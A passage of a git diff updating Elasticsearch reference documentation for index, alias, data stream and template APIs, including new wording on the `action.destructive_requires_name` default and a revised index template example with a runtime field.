/my_source_index/_settings The current write index on a data stream cannot be cloned. In order to clone the current write index, the data stream must first be -<> so that a new write index is created +<> so that a new write index is created and then the previous write index can be cloned. [[clone-index-api-desc]] @@ -142,7 +142,7 @@ can be allocated on that node. Once the primary shard is allocated, it moves to state `initializing`, and the clone process begins. When the clone operation completes, the shard will -become `active`. At that point, {es} will try to allocate any +become `active`. At that point, {es} will try to allocate any replicas and may decide to relocate the primary shard to another node. [[clone-wait-active-shards]] @@ -170,10 +170,10 @@ include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=wait_for_active_shards include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=timeoutparms] - +[role="child_attributes"] [[clone-index-api-request-body]] ==== {api-request-body-title} -include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=target-index-aliases] +include::{es-repo-dir}/indices/create-index.asciidoc[tag=aliases] include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=target-index-settings] diff --git a/docs/reference/indices/close.asciidoc b/docs/reference/indices/close.asciidoc index 3cc4e6f8dcbdc..5caa6e8922892 100644 --- a/docs/reference/indices/close.asciidoc +++ b/docs/reference/indices/close.asciidoc @@ -38,8 +38,9 @@ include::{es-repo-dir}/indices/open-close.asciidoc[tag=closed-index] include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=index] + To close all indices, use `_all` or `*`. -To disallow the closing of indices with `_all` or wildcard expressions, -change the `action.destructive_requires_name` cluster setting to `true`. +By default, you must explicitly name the indices you are closing. +To specify indices to close with `_all`, `*`, or other wildcard +expressions, change the `action.destructive_requires_name` setting to `false`. You can update this setting in the `elasticsearch.yml` file or using the <> API. diff --git a/docs/reference/indices/create-data-stream.asciidoc b/docs/reference/indices/create-data-stream.asciidoc index a0b3b338eaa77..e97e9973f1063 100644 --- a/docs/reference/indices/create-data-stream.asciidoc +++ b/docs/reference/indices/create-data-stream.asciidoc @@ -53,11 +53,8 @@ See <>. ``:: + -- -(Required, string) Name of the data stream to create. - -// tag::data-stream-name[] -We recommend using the <>. Data stream names must meet the following criteria: +(Required, string) Name of the data stream to create. Data stream names must +meet the following criteria: - Lowercase only - Cannot include `\`, `/`, `*`, `?`, `"`, `<`, `>`, `|`, `,`, `#`, `:`, or a @@ -66,6 +63,5 @@ space character - Cannot be `.` or `..` - Cannot be longer than 255 bytes. Multi-byte characters count towards this limit faster. -// end::data-stream-name[] -- diff --git a/docs/reference/indices/create-index.asciidoc b/docs/reference/indices/create-index.asciidoc index 22b9e60d24475..da08813d251be 100644 --- a/docs/reference/indices/create-index.asciidoc +++ b/docs/reference/indices/create-index.asciidoc @@ -62,13 +62,52 @@ include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=wait_for_active_shards include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=timeoutparms] - +[role="child_attributes"] [[indices-create-api-request-body]] ==== {api-request-body-title} +// tag::aliases[] `aliases`:: -(Optional, <>) Index aliases which include the -index. See <>. +(Optional, object) Aliases for the index. ++ +.Properties of `aliases` objects +[%collapsible%open] +==== +``:: +(Required, object) The key is the alias name. Supports +<>. ++ +The object body contains options for the alias. Supports an empty object. ++ +.Properties of `` +[%collapsible%open] +===== +`filter`:: +(Optional, <>) Query used to limit the documents the +alias can access. + +`index_routing`:: +(Optional, string) Value used to route indexing operations to a specific shard. +If specified, this overwrites the `routing` value for indexing operations. + +`is_hidden`:: +(Optional, Boolean) If `true`, the alias is <>. Defaults to +`false`. + +`is_write_index`:: +(Optional, Boolean) If `true`, the index is the <> for +the alias. Defaults to `false`. + +`routing`:: +(Optional, string) Value used to route indexing and search operations to a +specific shard. + +`search_routing`:: +(Optional, string) Value used to route search operations to a specific shard. If +specified, this overwrites the `routing` value for search operations. +===== +==== +// end::aliases[] include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=mappings] @@ -143,7 +182,7 @@ PUT /test [[create-index-aliases]] ===== Aliases -The create index API allows also to provide a set of <>: +The create index API allows also to provide a set of <>: [source,console] -------------------------------------------------- @@ -161,6 +200,18 @@ PUT /test } -------------------------------------------------- +Index alias names also support <>. + +[source,console] +---- +PUT /logs +{ + "aliases": { + "": {} + } +} +---- + [[create-index-wait-for-active-shards]] ===== Wait for active shards @@ -173,7 +224,7 @@ what happened: { "acknowledged": true, "shards_acknowledged": true, - "index": "test" + "index": "logs" } -------------------------------------------------- diff --git a/docs/reference/indices/delete-alias.asciidoc b/docs/reference/indices/delete-alias.asciidoc index 9cfe9f2124346..6b9a5bd3d8d3c 100644 --- a/docs/reference/indices/delete-alias.asciidoc +++ b/docs/reference/indices/delete-alias.asciidoc @@ -1,12 +1,10 @@ [[indices-delete-alias]] -=== Delete index alias API +=== Delete alias API ++++ -Delete index alias +Delete alias ++++ -Deletes an existing index alias. - -include::{es-repo-dir}/glossary.asciidoc[tag=index-alias-desc] +Deletes an <>. [source,console] ---- diff --git a/docs/reference/indices/delete-component-template.asciidoc b/docs/reference/indices/delete-component-template.asciidoc index 6857f9ac1e8f3..21693c44aadc6 100644 --- a/docs/reference/indices/delete-component-template.asciidoc +++ b/docs/reference/indices/delete-component-template.asciidoc @@ -26,6 +26,9 @@ PUT _component_template/template_1 DELETE _component_template/template_1 -------------------------------------------------- +The provided may contain multiple template names separated by a comma. +If multiple template names are specified then there is no wildcard support and the +provided names should match completely with existing component templates. [[delete-component-template-api-request]] ==== {api-request-title} @@ -43,8 +46,8 @@ privilege>> to use this API. ==== {api-description-title} Use the delete component template API to delete one or more component templates -Component templates are building blocks for constructing <> -that specify index mappings, settings, and aliases. +Component templates are building blocks for constructing <> +that specify index mappings, settings, and aliases. [[delete-component-template-api-path-params]] ==== {api-path-parms-title} diff --git a/docs/reference/indices/delete-data-stream.asciidoc b/docs/reference/indices/delete-data-stream.asciidoc index 3add84dbf7573..eb970f0f29d40 100644 --- a/docs/reference/indices/delete-data-stream.asciidoc +++ b/docs/reference/indices/delete-data-stream.asciidoc @@ -6,7 +6,7 @@ ++++ Deletes one or more <> and their backing -indices. See <>. +indices. See <>. //// [source,console] diff --git a/docs/reference/indices/delete-index-template-v1.asciidoc b/docs/reference/indices/delete-index-template-v1.asciidoc index 5efc5424ad000..9caf6935fe4f2 100644 --- a/docs/reference/indices/delete-index-template-v1.asciidoc +++ b/docs/reference/indices/delete-index-template-v1.asciidoc @@ -48,7 +48,7 @@ privilege>> to use this API. ``:: (Required, string) -Comma-separated list of legacy index templates to delete. Wildcard (`*`) +The name of the legacy index template to delete. Wildcard (`*`) expressions are supported. diff --git a/docs/reference/indices/delete-index-template.asciidoc b/docs/reference/indices/delete-index-template.asciidoc index 9157ccc56b142..3edb52c66e486 100644 --- a/docs/reference/indices/delete-index-template.asciidoc +++ b/docs/reference/indices/delete-index-template.asciidoc @@ -33,6 +33,10 @@ DELETE /_index_template/my-index-template `DELETE /_index_template/` +The provided may contain multiple template names separated by a comma. +If multiple template names are specified then there is no wildcard support and the +provided names should match completely with existing templates. + [[delete-template-api-prereqs]] ==== {api-prereq-title} @@ -44,8 +48,8 @@ privilege>> to use this API. ==== {api-description-title} Use the delete index template API to delete one or more index templates. -Index templates define <>, <>, -and <> that can be applied automatically to new indices. +Index templates define <>, <>, +and <> that can be applied automatically to new indices. [[delete-template-api-path-params]] diff --git a/docs/reference/indices/delete-index.asciidoc b/docs/reference/indices/delete-index.asciidoc index b938e9b4837dd..ac5bc98ce1442 100644 --- a/docs/reference/indices/delete-index.asciidoc +++ b/docs/reference/indices/delete-index.asciidoc @@ -34,16 +34,16 @@ or `manage` <> for the target index. delete. In this parameter, wildcard expressions match only open, concrete indices. You -cannot delete an index using an <>. +cannot delete an index using an <>. -To delete all indices, use `_all` or `*` . To disallow the deletion of indices -with `_all` or wildcard expressions, change the -`action.destructive_requires_name` cluster setting to `true`. You can update -this setting in the `elasticsearch.yml` file or using the +By default, you must explicitly name the indices you are deleting. +To specify indices to delete with `_all`, `*`, or other wildcard +expressions, change the `action.destructive_requires_name` setting to `false`. +You can update this setting in the `elasticsearch.yml` file or using the <> API. NOTE: You cannot delete the current write index of a data stream. To delete the -index, you must <> the data stream so a new +index, you must <> the data stream so a new write index is created. You can then use the delete index API to delete the previous write index. -- diff --git a/docs/reference/indices/flush.asciidoc b/docs/reference/indices/flush.asciidoc index 40054954e2922..1f0a79258bd37 100644 --- a/docs/reference/indices/flush.asciidoc +++ b/docs/reference/indices/flush.asciidoc @@ -29,7 +29,7 @@ POST /my-index-000001/_flush * If the {es} {security-features} are enabled, you must have the `maintenance` or `manage` <> for the target data -stream, index, or index alias. +stream, index, or alias. [[flush-api-desc]] ==== {api-description-title} @@ -37,7 +37,7 @@ stream, index, or index alias. Flushing a data stream or index is the process of making sure that any data that is currently only stored in the <> is also permanently stored in the Lucene index. When restarting, {es} replays any -unflushed operations from the transaction log into the Lucene index to bring it +unflushed operations from the transaction log in to the Lucene index to bring it back into the state that it was in before the restart. {es} automatically triggers flushes as needed, using heuristics that trade off the size of the unflushed transaction log against the cost of performing each flush. @@ -59,13 +59,9 @@ flush API was called. ==== {api-path-parms-title} ``:: -(Optional, string) -Comma-separated list of data streams, indices, and index aliases to flush. -Wildcard expressions (`*`) are supported. -+ -To flush all data streams and indices in a cluster, omit this parameter or use -`_all` or `*`. - +(Optional, string) Comma-separated list of data streams, indices, and aliases to +flush. Supports wildcards (`*`). To flush all data streams and indices, omit +this parameter or use `*` or `_all`. [[flush-api-query-params]] ==== {api-query-parms-title} diff --git a/docs/reference/indices/forcemerge.asciidoc b/docs/reference/indices/forcemerge.asciidoc index e7174be88b044..8a2dd1a464190 100644 --- a/docs/reference/indices/forcemerge.asciidoc +++ b/docs/reference/indices/forcemerge.asciidoc @@ -27,7 +27,7 @@ POST /my-index-000001/_forcemerge * If the {es} {security-features} are enabled, you must have the `maintenance` or `manage` <> for the target data -stream, index, or index alias. +stream, index, or alias. [[forcemerge-api-desc]] ==== {api-description-title} @@ -65,26 +65,26 @@ You can force merge multiple indices with a single request by targeting: * One or more data streams that contain multiple backing indices * Multiple indices -* One or more index aliases that point to multiple indices +* One or more aliases * All data streams and indices in a cluster -Multi-index operations are executed one shard at a -time per node. Force merge makes the storage for the shard being merged -temporarily increase, up to double its size in case `max_num_segments` parameter -is set to `1`, as all segments need to be rewritten into a new one. +Each targeted shard is force-merged separately using <>. By default each node only has a single +`force_merge` thread which means that the shards on that node are force-merged +one at a time. If you expand the `force_merge` threadpool on a node then it +will force merge its shards in parallel. +Force merge makes the storage for the shard being merged temporarily +increase, up to double its size in case `max_num_segments` parameter is set to +`1`, as all segments need to be rewritten into a new one. [[forcemerge-api-path-params]] ==== {api-path-parms-title} ``:: -(Optional, string) -Comma-separated list of data streams, indices, and index aliases used to limit -the request. Wildcard expressions (`*`) are supported. -+ -To target all data streams and indices in a cluster, omit this parameter or use -`_all` or `*`. - +(Optional, string) Comma-separated list of data streams, indices, and aliases +used to limit the request. Supports wildcards (`*`). To target all data streams +and indices, omit this parameter or use `*` or `_all`. [[forcemerge-api-query-params]] ==== {api-query-parms-title} diff --git a/docs/reference/indices/get-alias.asciidoc b/docs/reference/indices/get-alias.asciidoc index 63acac5c8908d..74285ba792027 100644 --- a/docs/reference/indices/get-alias.asciidoc +++ b/docs/reference/indices/get-alias.asciidoc @@ -1,12 +1,10 @@ [[indices-get-alias]] -=== Get index alias API +=== Get alias API ++++ -Get index alias +Get alias ++++ -Returns information about one or more index aliases. - -include::{es-repo-dir}/glossary.asciidoc[tag=index-alias-desc] +Retrieves information for one or more <>. [source,console] ---- diff --git a/docs/reference/indices/get-data-stream.asciidoc b/docs/reference/indices/get-data-stream.asciidoc index d9d69eb530bd7..850031a64b450 100644 --- a/docs/reference/indices/get-data-stream.asciidoc +++ b/docs/reference/indices/get-data-stream.asciidoc @@ -6,7 +6,7 @@ ++++ Retrieves information about one or more <>. -See <>. +See <>. //// [source,console] @@ -18,7 +18,7 @@ PUT /_ilm/policy/my-lifecycle-policy "hot": { "actions": { "rollover": { - "max_size": "25GB" + "max_primary_shard_size": "25GB" } } }, @@ -157,7 +157,7 @@ acts as a cumulative count of the stream's rollovers, starting at `1`. `_meta`:: (object) Custom metadata for the stream, copied from the `_meta` object of the -stream's matching <>. If empty, +stream's matching <>. If empty, the response omits this property. `status`:: @@ -186,7 +186,7 @@ One or more primary shards are unassigned, so some data is unavailable. Name of the index template used to create the data stream's backing indices. + The template's index pattern must match the name of this data stream. See -<>. +<>. `ilm_policy`:: (string) @@ -201,8 +201,12 @@ policies. To retrieve the lifecycle policy for individual backing indices, use the <>. `hidden`:: +(Boolean) If `true`, the data stream is <>. + +`system`:: (Boolean) -If `true`, the data stream is <>. +If `true`, the data stream is created and managed by an Elastic stack component +and cannot be modified through normal user interaction. ==== [[get-data-stream-api-example]] @@ -241,7 +245,8 @@ The API returns the following response: "status": "GREEN", "template": "my-index-template", "ilm_policy": "my-lifecycle-policy", - "hidden": false + "hidden": false, + "system": false }, { "name": "my-data-stream-two", @@ -261,7 +266,8 @@ The API returns the following response: "status": "YELLOW", "template": "my-index-template", "ilm_policy": "my-lifecycle-policy", - "hidden": false + "hidden": false, + "system": false } ] } diff --git a/docs/reference/indices/get-field-mapping.asciidoc b/docs/reference/indices/get-field-mapping.asciidoc index 3182246b23dc4..f72210b58e8fd 100644 --- a/docs/reference/indices/get-field-mapping.asciidoc +++ b/docs/reference/indices/get-field-mapping.asciidoc @@ -29,17 +29,15 @@ GET /my-index-000001/_mapping/field/user * If the {es} {security-features} are enabled, you must have the `view_index_metadata` or `manage` <> -for the target data stream, index, or index alias. +for the target data stream, index, or alias. [[get-field-mapping-api-path-params]] ==== {api-path-parms-title} ``:: -(Optional, string) -Comma-separated list of data streams, indices, and index aliases used to limit -the request. Wildcard (`*`) expressions are supported. -+ -To target all indices in a cluster, omit this parameter or use `_all` or `*`. +(Optional, string) Comma-separated list of data streams, indices, and aliases +used to limit the request. Supports wildcards (`*`). To target all data streams +and indices, omit this parameter or use `*` or `_all`. ``:: (Optional, string) Comma-separated list or wildcard expression of fields used to diff --git a/docs/reference/indices/get-index.asciidoc b/docs/reference/indices/get-index.asciidoc index 0b86d0f0d19ca..f7279e6ffaa9a 100644 --- a/docs/reference/indices/get-index.asciidoc +++ b/docs/reference/indices/get-index.asciidoc @@ -23,19 +23,15 @@ GET /my-index-000001 * If the {es} {security-features} are enabled, you must have the `view_index_metadata` or `manage` <> -for the target data stream, index, or index alias. +for the target data stream, index, or alias. [[get-index-api-path-params]] ==== {api-path-parms-title} ``:: -(Required, string) -Comma-separated list of data streams, indices, and index aliases used to limit -the request. Wildcard expressions (`*`) are supported. -+ -To target all data streams and indices in a cluster, omit this parameter or use -`_all` or `*`. - +(Required, string) Comma-separated list of data streams, indices, and aliases +used to limit the request. Supports wildcards (`*`). To target all data streams +and indices, omit this parameter or use `*` or `_all`. [[get-index-api-query-params]] ==== {api-query-parms-title} diff --git a/docs/reference/indices/get-mapping.asciidoc b/docs/reference/indices/get-mapping.asciidoc index 9b2611d941001..90368126b57bd 100644 --- a/docs/reference/indices/get-mapping.asciidoc +++ b/docs/reference/indices/get-mapping.asciidoc @@ -25,19 +25,15 @@ GET /my-index-000001/_mapping * If the {es} {security-features} are enabled, you must have the `view_index_metadata` or `manage` <> -for the target data stream, index, or index alias. +for the target data stream, index, or alias. [[get-mapping-api-path-params]] ==== {api-path-parms-title} ``:: -(Optional, string) -Comma-separated list of data streams, indices, and index aliases used to limit -the request. Wildcard expressions (`*`) are supported. -+ -To target all data streams and indices in a cluster, omit this parameter or use -`_all` or `*`. - +(Optional, string) Comma-separated list of data streams, indices, and aliases +used to limit the request. Supports wildcards (`*`). To target all data streams +and indices, omit this parameter or use `*` or `_all`. [[get-mapping-api-query-params]] ==== {api-query-parms-title} diff --git a/docs/reference/indices/get-settings.asciidoc b/docs/reference/indices/get-settings.asciidoc index 04c11a82b5a15..3512e9f8eb922 100644 --- a/docs/reference/indices/get-settings.asciidoc +++ b/docs/reference/indices/get-settings.asciidoc @@ -26,18 +26,15 @@ GET /my-index-000001/_settings * If the {es} {security-features} are enabled, you must have the `view_index_metadata`, `monitor`, or `manage` <> for the target data stream, index, or index alias. +privilege>> for the target data stream, index, or alias. [[get-index-settings-api-path-params]] ==== {api-path-parms-title} ``:: -(Optional, string) -Comma-separated list of data streams, indices, and index aliases used to limit -the request. Wildcard expressions (`*`) are supported. -+ -To target all data streams and indices in a cluster, omit this parameter or use -`_all` or `*`. +(Optional, string) Comma-separated list of data streams, indices, and aliases +used to limit the request. Supports wildcards (`*`). To target all data streams +and indices, omit this parameter or use `*` or `_all`. ``:: (Optional, string) Comma-separated list or wildcard expression of setting names diff --git a/docs/reference/indices/index-mgmt.asciidoc b/docs/reference/indices/index-mgmt.asciidoc index 0dcfbe0455607..0cda6dbe7ab09 100644 --- a/docs/reference/indices/index-mgmt.asciidoc +++ b/docs/reference/indices/index-mgmt.asciidoc @@ -43,7 +43,7 @@ Open {kib}'s main menu and click *Stack Management > Index Management*. image::images/index-mgmt/management_index_labels.png[Index Management UI] The *Index Management* page contains an overview of your indices. -Badges indicate if an index is <>, a +Badges indicate if an index is <>, a <>, or a <>. @@ -125,14 +125,14 @@ with that index pattern. . Leave *Data Stream*, *Priority*, *Version*, and *_meta field* blank or as-is. -*Step 2. Add settings, mappings, and index aliases* +*Step 2. Add settings, mappings, and aliases* . Add <> to your index template. + Component templates are pre-configured sets of mappings, index settings, and -index aliases you can reuse across multiple index templates. Badges indicate +aliases you can reuse across multiple index templates. Badges indicate whether a component template contains mappings (*M*), index settings (*S*), -index aliases (*A*), or a combination of the three. +aliases (*A*), or a combination of the three. + Component templates are optional. For this tutorial, do not add any component templates. @@ -171,7 +171,7 @@ You can create additional mapping configurations in the *Dynamic templates* and *Advanced options* tabs. For this tutorial, do not create any additional mappings. -. Define an index alias named `my-index`: +. Define an alias named `my-index`: + [source,js] ---- diff --git a/docs/reference/indices/index-template-exists-v1.asciidoc b/docs/reference/indices/index-template-exists-v1.asciidoc index 6e3d78801d04c..7be99ee6da9c1 100644 --- a/docs/reference/indices/index-template-exists-v1.asciidoc +++ b/docs/reference/indices/index-template-exists-v1.asciidoc @@ -38,7 +38,7 @@ Use the index template exists API to determine whether one or more index templates exist. Index templates define <>, <>, -and <> that can be applied automatically to new indices. +and <> that can be applied automatically to new indices. [[template-exists-api-path-params]] ==== {api-path-parms-title} diff --git a/docs/reference/indices/index-templates.asciidoc b/docs/reference/indices/index-templates.asciidoc index 4bbeb9230b779..8a4c985970b26 100644 --- a/docs/reference/indices/index-templates.asciidoc +++ b/docs/reference/indices/index-templates.asciidoc @@ -1,28 +1,39 @@ [[index-templates]] = Index templates -NOTE: This topic describes the composable index templates introduced in {es} 7.8. -For information about how index templates worked previously, +NOTE: This topic describes the composable index templates introduced in {es} 7.8. +For information about how index templates worked previously, see the <>. [[getting]] -An index template is a way to tell {es} how to configure an index when it is created. -For data streams, the index template configures the stream's backing indices as they -are created. Templates are configured prior to index creation and then when an -index is created either manually or through indexing a document, the template -settings are used as a basis for creating the index. - -There are two types of templates, index templates and <>. Component templates are reusable building blocks that configure mappings, settings, and -aliases. You use component templates to construct index templates, they aren't directly applied to a -set of indices. Index templates can contain a collection of component templates, as well as directly -specify settings, mappings, and aliases. - -If a new data stream or index matches more than one index template, the index template with the highest priority is used. - -// tag::built-in-index-templates[] -[IMPORTANT] -==== +An index template is a way to tell {es} how to configure an index when it is +created. For data streams, the index template configures the stream's backing +indices as they are created. Templates are configured +*prior to index creation*. When an index is created - either manually or +through indexing a document - the template settings are used as a basis for +creating the index. + +There are two types of templates: index templates and <>. Component templates are reusable building +blocks that configure mappings, settings, and aliases. While you can use +component templates to construct index templates, they aren't directly applied +to a set of indices. Index templates can contain a collection of component +templates, as well as directly specify settings, mappings, and aliases. + +The following conditions apply to index templates: + +* Composable templates take precedence over legacy templates. If no composable +template matches a given index, a legacy template may still match and be +applied. +* If an index is created with explicit settings and also matches an index +template, the settings from the <> request +take precedence over settings specified in the index template and its component +templates. +* If a new data stream or index matches more than one index template, the index +template with the highest priority is used. + +[[avoid-index-pattern-collisions]] +.Avoid index pattern collisions +**** {es} has built-in index templates, each with a priority of `100`, for the following index patterns: @@ -32,13 +43,13 @@ following index patterns: - `synthetics-*-*` // end::built-in-index-template-patterns[] -The {fleet-guide}/fleet-overview.html[{agent}] uses these templates to create +{fleet-guide}/fleet-overview.html[{agent}] uses these templates to create data streams. Index templates created by {fleet} integrations use similar overlapping index patterns and have a priority up to `200`. -If you use {fleet} or the {agent}, assign your index templates a priority -lower than `100` to avoid overriding these templates. Otherwise, to avoid -accidentally applying the templates, do one or more of the following: +If you use {fleet} or {agent}, assign your index templates a priority lower than +`100` to avoid overriding these templates. Otherwise, to avoid accidentally +applying the templates, do one or more of the following: - To disable all built-in index and component templates, set <> to `false` using the @@ -47,22 +58,24 @@ accidentally applying the templates, do one or more of the following: - Use a non-overlapping index pattern. - Assign templates with an overlapping pattern a `priority` higher than `200`. -For example, if you don't use {fleet} or the {agent} and want to create a -template for the `logs-*` index pattern, assign your template a priority of -`500`. This ensures your template is applied instead of the built-in template -for `logs-*-*`. -==== -// end::built-in-index-templates[] +For example, if you don't use {fleet} or {agent} and want to create a template +for the `logs-*` index pattern, assign your template a priority of `500`. This +ensures your template is applied instead of the built-in template for +`logs-*-*`. +**** -When a composable template matches a given index -it always takes precedence over a legacy template. If no composable template matches, a legacy -template may still match and be applied. +[discrete] +[[create-index-templates]] +== Create index template -If an index is created with explicit settings and also matches an index template, -the settings from the create index request take precedence over settings specified in the index template and its component templates. +Use the <> and <> APIs to create and update index templates. +You can also <> from Stack +Management in {kib}. + +The following requests create two component templates. [source,console] --------------------------------------------------- +---- PUT _component_template/component_template1 { "template": { @@ -76,19 +89,30 @@ PUT _component_template/component_template1 } } -PUT _component_template/other_component_template +PUT _component_template/runtime_component_template { "template": { "mappings": { - "properties": { - "ip_address": { - "type": "ip" + "runtime": { <1> + "day_of_week": { + "type": "keyword", + "script": { + "source": "emit(doc['@timestamp'].value.dayOfWeekEnum.getDisplayName(TextStyle.FULL, Locale.ROOT))" + } } } } } } +---- +<1> This component template adds a <> +named `day_of_week` to the mappings when a new index matches the template. +The following request creates an index template that is _composed of_ these +component templates. + +[source,console] +---- PUT _index_template/template_1 { "index_patterns": ["te*", "bar*"], @@ -98,7 +122,7 @@ PUT _index_template/template_1 }, "mappings": { "_source": { - "enabled": false + "enabled": true }, "properties": { "host_name": { @@ -115,23 +139,24 @@ PUT _index_template/template_1 } }, "priority": 500, - "composed_of": ["component_template1", "other_component_template"], + "composed_of": ["component_template1", "runtime_component_template"], <1> "version": 3, "_meta": { "description": "my custom" } } --------------------------------------------------- -// TESTSETUP +---- +// TEST[continued] //// [source,console] --------------------------------------------------- -DELETE _index_template/* -DELETE _component_template/* --------------------------------------------------- -// TEARDOWN +---- +DELETE _index_template/template_1 +DELETE _component_template/runtime_component_template +DELETE _component_template/component_template1 +---- +// TEST[continued] //// diff --git a/docs/reference/indices/indices-exists.asciidoc b/docs/reference/indices/indices-exists.asciidoc index 34f1e0b7244ea..934b224b8e796 100644 --- a/docs/reference/indices/indices-exists.asciidoc +++ b/docs/reference/indices/indices-exists.asciidoc @@ -1,40 +1,36 @@ [[indices-exists]] -=== Index exists API +=== Exists API ++++ -Index exists +Exists ++++ -Checks if an index exists. -The returned HTTP status code indicates if the index exists or not. -A `404` means it does not exist, and `200` means it does. +Checks if a data stream, index, or alias exists. [source,console] --------------------------------------------------- -HEAD /my-index-000001 --------------------------------------------------- -// TEST[setup:my_index] - +---- +HEAD my-data-stream +---- +// TEST[setup:my_data_stream] +// TEST[teardown:data_stream_cleanup] [[indices-exists-api-request]] ==== {api-request-title} -`HEAD /` +`HEAD ` [[indices-exists-api-prereqs]] ==== {api-prereq-title} * If the {es} {security-features} are enabled, you must have the `view_index_metadata` or `manage` <> -for the target data stream, index, or index alias. +for the target. [[indices-exists-api-path-params]] ==== {api-path-parms-title} ``:: -(Optional, string) -Comma-separated list of data streams, indices, and index aliases used to limit -the request. Wildcard expressions (`*`) are supported. - +(Optional, string) Comma-separated list of data streams, indices, and aliases. +Supports wildcards (`*`). [[indices-exists-api-query-params]] ==== {api-query-parms-title} @@ -55,12 +51,11 @@ include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=index-ignore-unavailab include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=local] - [[indices-exists-api-response-codes]] ==== {api-response-codes-title} `200`:: -Indicates all specified indices or index aliases exist. +All targets exist. - `404`:: -Indicates one or more specified indices or index aliases **do not** exist. +`404`:: +One or more specified targets do not exist. diff --git a/docs/reference/indices/migrate-to-data-stream.asciidoc b/docs/reference/indices/migrate-to-data-stream.asciidoc index 8db53a7d29eb0..22768c264af5a 100644 --- a/docs/reference/indices/migrate-to-data-stream.asciidoc +++ b/docs/reference/indices/migrate-to-data-stream.asciidoc @@ -5,7 +5,7 @@ Migrate to data stream ++++ -Converts an <> to a <>. +Converts an <> to a <>. //// [source,console] @@ -88,10 +88,10 @@ See <>. Name of the index alias to convert to a data stream. The alias must meet the following criteria: -- The alias must have a <>. +- The alias must have a <>. - All indices for the alias have a `@timestamp` field mapping of a `date` or `date_nanos` field type. -- The alias must not have any <>. -- The alias must not use <>. +- The alias must not have any <>. +- The alias must not use <>. If successful, the request removes the alias and creates a data stream with the same name. The alias's indices become hidden backing indices for the stream. The diff --git a/docs/reference/indices/open-close.asciidoc b/docs/reference/indices/open-close.asciidoc index a0fccee91d069..bac5c07a01954 100644 --- a/docs/reference/indices/open-close.asciidoc +++ b/docs/reference/indices/open-close.asciidoc @@ -25,7 +25,7 @@ POST /my-index-000001/_open * If the {es} {security-features} are enabled, you must have the `manage` <> for the target data stream, index, -or index alias. +or alias. [[open-index-api-desc]] ==== {api-description-title} @@ -53,22 +53,16 @@ You can open and close multiple indices. An error is thrown if the request explicitly refers to a missing index. This behaviour can be disabled using the `ignore_unavailable=true` parameter. -All indices can be opened or closed at once using `_all` as the index name -or specifying patterns that identify them all (e.g. `*`). -Identifying indices via wildcards or `_all` can be disabled by setting the -`action.destructive_requires_name` flag in the config file to `true`. +By default, you must explicitly name the indices you are opening or closing. +To open or close indices with `_all`, `*`, or other wildcard +expressions, change the `action.destructive_requires_name` setting to `false`. This setting can also be changed via the cluster update settings api. Closed indices consume a significant amount of disk-space which can cause problems in managed environments. Closing indices can be disabled via the cluster settings API by setting `cluster.indices.close.enable` to `false`. The default is `true`. -The current write index on a data stream cannot be closed. In order to close -the current write index, the data stream must first be -<> so that a new write index is created -and then the previous write index can be closed. - // end::closed-index[] [[open-index-api-wait-for-active-shards]] @@ -90,17 +84,15 @@ index creation applies to the `_open` and `_close` index actions as well. ``:: (Optional, string) -Comma-separated list of data streams, indices, and index aliases used to limit -the request. Wildcard (`*`) expressions are supported. -+ -To target all data streams and indices, use `_all` or `*`. +Comma-separated list of data streams, indices, and aliases used to limit +the request. Supports wildcards (`*`). + -To disallow use of `_all` or wildcard expressions, -change the `action.destructive_requires_name` cluster setting to `true`. +By default, you must explicitly name the indices you using to limit the request. +To limit a request using `_all`, `*`, or other wildcard +expressions, change the `action.destructive_requires_name` setting to `false`. You can update this setting in the `elasticsearch.yml` file or using the <> API. - [[open-index-api-query-params]] ==== {api-query-parms-title} diff --git a/docs/reference/indices/put-component-template.asciidoc b/docs/reference/indices/put-component-template.asciidoc index 422904c6c5ff7..c83d2023ab31c 100644 --- a/docs/reference/indices/put-component-template.asciidoc +++ b/docs/reference/indices/put-component-template.asciidoc @@ -1,13 +1,13 @@ [[indices-component-template]] -=== Put component template API +=== Create or update component template API ++++ -Put component template +Create or update component template ++++ -Creates or updates a component template. -Component templates are building blocks for constructing <> -that specify index <>, <>, -and <>. +Creates or updates a component template. Component templates are building blocks +for constructing <> that specify index +<>, <>, and +<>. [source,console] -------------------------------------------------- @@ -99,14 +99,14 @@ Name of the component template to create. - `synthetics-settings` // end::built-in-component-templates[] -The {fleet-guide}/fleet-overview.html[{agent}] uses these templates to configure -backing indices for its data streams. If you use the {agent} and want to -overwrite one of these templates, set the `version` for your replacement -template higher than the current version. +{fleet-guide}/fleet-overview.html[{agent}] uses these templates to configure +backing indices for its data streams. If you use {agent} and want to overwrite +one of these templates, set the `version` for your replacement template higher +than the current version. -If you don't use the {agent} and want to disable all built-in component and -index templates, set <> to -`false` using the <>. +If you don't use {agent} and want to disable all built-in component and index +templates, set <> to `false` +using the <>. ==== [[put-component-template-api-query-params]] @@ -160,7 +160,7 @@ This map is not automatically generated by {es}. ===== Component template with index aliases -You can include <> in a component template. +You can include <> in a component template. [source,console] -------------------------------------------------- @@ -222,7 +222,7 @@ To check the `version`, you can use the <Put index template (legacy) +Create or update index template (legacy) ++++ IMPORTANT: This documentation is about legacy index templates, @@ -62,9 +62,6 @@ privilege>> to use this API. [[put-index-template-v1-api-desc]] ==== {api-description-title} -Use the PUT index template API -to create or update an index template. - Index templates define <> and <> that you can automatically apply when creating new indices. {es} applies templates to new indices @@ -143,7 +140,7 @@ This number is not automatically generated by {es}. ===== Index template with index aliases -You can include <> in an index template. +You can include <> in an index template. [source,console] -------------------------------------------------- diff --git a/docs/reference/indices/put-index-template.asciidoc b/docs/reference/indices/put-index-template.asciidoc index 7967409cdb922..df31fc142f942 100644 --- a/docs/reference/indices/put-index-template.asciidoc +++ b/docs/reference/indices/put-index-template.asciidoc @@ -1,12 +1,12 @@ [[indices-put-template]] -=== Put index template API +=== Create or update index template API ++++ -Put index template +Create or update index template ++++ -Creates or updates an index template. -Index templates define <>, <>, -and <> that can be applied automatically to new indices. +Creates or updates an index template. Index templates define +<>, <>, and <> +that can be applied automatically to new indices. [source,console] -------------------------------------------------- @@ -85,30 